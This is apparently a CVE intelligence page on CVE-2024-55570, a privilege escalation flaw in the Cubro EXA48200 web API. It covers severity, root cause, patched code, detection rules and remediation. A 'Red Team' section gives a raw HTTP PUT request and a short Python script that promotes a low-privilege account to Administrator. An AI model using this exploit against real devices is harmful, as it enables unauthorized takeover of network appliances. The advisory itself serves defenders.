☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-55570

CVE-2024-55570 Privilege Escalation in Cubro
📅 PUBLISHED: 2025-03-03 00:00 UTC 🔄 UPDATED: 2026-08-18 17:15 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-55570 is a privilege escalation vulnerability in the Cubro EXA48200 network packet broker. The flaw resides in the /api/user/users endpoint of the web GUI, allowing any authenticated user to escalate their privileges to Administrator by sending a single HTTP PUT request with rolename=Administrator. This is due to incorrect access control (CWE-862). The vulnerability affects builds prior to V5.0R14.5P4-V3.3R1. No public exploit code or Nuclei template is available, but the attack vector is trivial to execute. The vendor has released a fix in the specified version.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary network appliance.

CVSS Breakdown & Threat Level

The NVD has not assigned a CVSS score or vector. Based on the vulnerability characteristics:

  • Attack Vector (AV): Network (the web GUI is accessible over the network)
  • Attack Complexity (AC): Low (single HTTP request)
  • Privileges Required (PR): Low (any authenticated user)
  • User Interaction (UI): None
  • Scope (S): Unchanged
  • Confidentiality (C): High (full admin access)
  • Integrity (I): High (full admin access)
  • Availability (A): High (full admin access)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: Critical. The attack is trivial, requires only low-privilege authentication, and grants full administrative control over the device.

Deep Dive & Mechanics

The Cubro EXA48200 web GUI provides a REST API for user management. The /api/user/users endpoint is used to create, read, update, and delete user accounts. The vulnerability is a classic case of Incorrect Access Control (CWE-862).

Root Cause: The server-side code does not verify that the authenticated user has the necessary permissions (e.g., Administrator role) to modify user roles. It only checks that the user is authenticated. When a PUT request is sent to /api/user/users with a payload containing rolename=Administrator, the server blindly updates the target user's role.

Attack Flow:

  1. An attacker obtains valid low-privilege credentials (e.g., via phishing, default credentials, or another vulnerability).
  2. The attacker sends an HTTP PUT request to /api/user/users with their own user ID and rolename=Administrator.
  3. The server processes the request and elevates the attacker's privileges.
  4. The attacker now has full administrative access to the device.

Affected Component: /api/user/users endpoint in the web GUI.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/user/users', methods=['PUT'])
def update_user():
    user_id = request.json.get('id')
    new_role = request.json.get('rolename')
    # BUG: No privilege check
    db.update_user_role(user_id, new_role)
    return jsonify(success=True)

Patched Code (Conceptual):

@app.route('/api/user/users', methods=['PUT'])
@require_admin_role  # New decorator
def update_user():
    user_id = request.json.get('id')
    new_role = request.json.get('rolename')
    # Only admins can change roles
    if current_user.role != 'Administrator':
        abort(403)
    db.update_user_role(user_id, new_role)
    return jsonify(success=True)

The patch adds a server-side authorization check to ensure only users with the Administrator role can modify user roles.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Cubro EXA48200 with vulnerable firmware (build 20231025055018 or earlier).
  • Valid low-privilege credentials (e.g., user:password).

Exploit Steps:

  1. Authenticate to the web GUI and obtain a session token (e.g., via cookie or Bearer token).
  2. Send the following HTTP PUT request:
PUT /api/user/users HTTP/1.1
Host: <target_ip>
Content-Type: application/json
Cookie: session=<session_token>

{
  "id": "<your_user_id>",
  "rolename": "Administrator"
}
  1. Verify privilege escalation by accessing admin-only endpoints (e.g., /api/system/config).

Automated Exploit (Python):

import requests

target = "https://<target_ip>"
session = requests.Session()

# Step 1: Login
login_data = {"username": "user", "password": "password"}
session.post(f"{target}/api/login", json=login_data)

# Step 2: Get user ID (assuming we know it, e.g., from /api/user/users GET)
user_id = 2  # Example

# Step 3: Escalate privileges
escalation_data = {"id": user_id, "rolename": "Administrator"}
r = session.put(f"{target}/api/user/users", json=escalation_data)
if r.status_code == 200:
    print("Privilege escalation successful!")
else:
    print(f"Failed: {r.text}")

Blue Team

Detection:

  • Monitor HTTP PUT requests to /api/user/users with rolename=Administrator from non-admin users.
  • Alert on any change to user roles, especially to Administrator.
  • Enable audit logging on the device (if available) and review for unauthorized role changes.

Hunting:

  • Search web server logs for PUT /api/user/users requests.
  • Correlate with the source IP and user session to identify anomalous behavior.

Lab Setup:

  • Deploy a Cubro EXA48200 in a sandboxed network.
  • Use a tool like Burp Suite or curl to test the vulnerability.
  • Monitor network traffic with Wireshark to capture the exploit request.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP PUT request to /api/user/users with JSON body containing "rolename": "Administrator".
    • Unusual session activity from a previously low-privilege user accessing admin endpoints.
  • System:
    • User account role changed to Administrator without proper authorization.
    • New admin accounts created by the escalated user.
  • Logs:
    • Web server logs showing PUT /api/user/users from a non-admin user.
    • Audit logs (if enabled) showing role change events.

Detection Engineering

YARA Rule

rule CVE_2024_55570_Privilege_Escalation {
    meta:
        description = "Detects HTTP PUT requests targeting /api/user/users with rolename=Administrator"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-55570"
    strings:
        $method = "PUT"
        $path = "/api/user/users"
        $payload = "rolename"
        $admin = "Administrator"
    condition:
        all of them
}

Sigma Rule

title: Cubro EXA48200 Privilege Escalation via /api/user/users
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP PUT requests to /api/user/users with rolename=Administrator
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-stem: '/api/user/users'
        cs-uri-query|contains: 'rolename=Administrator'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55570 Cubro EXA48200 Privilege Escalation"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/user/users"; http.request_body; content:"rolename"; content:"Administrator"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade firmware to V5.0R14.5P4-V3.3R1 or later.
  2. If upgrade is not possible, restrict network access to the web GUI to trusted IPs only.
  3. Implement a Web Application Firewall (WAF) rule to block PUT /api/user/users requests with rolename=Administrator from non-admin users.

Long-term Measures:

  • Enforce role-based access control (RBAC) with server-side authorization checks.
  • Conduct regular security audits of API endpoints.
  • Implement multi-factor authentication (MFA) for all administrative actions.

Workarounds:

  • Disable the web GUI if not required.
  • Use network segmentation to isolate the device.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-55570/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.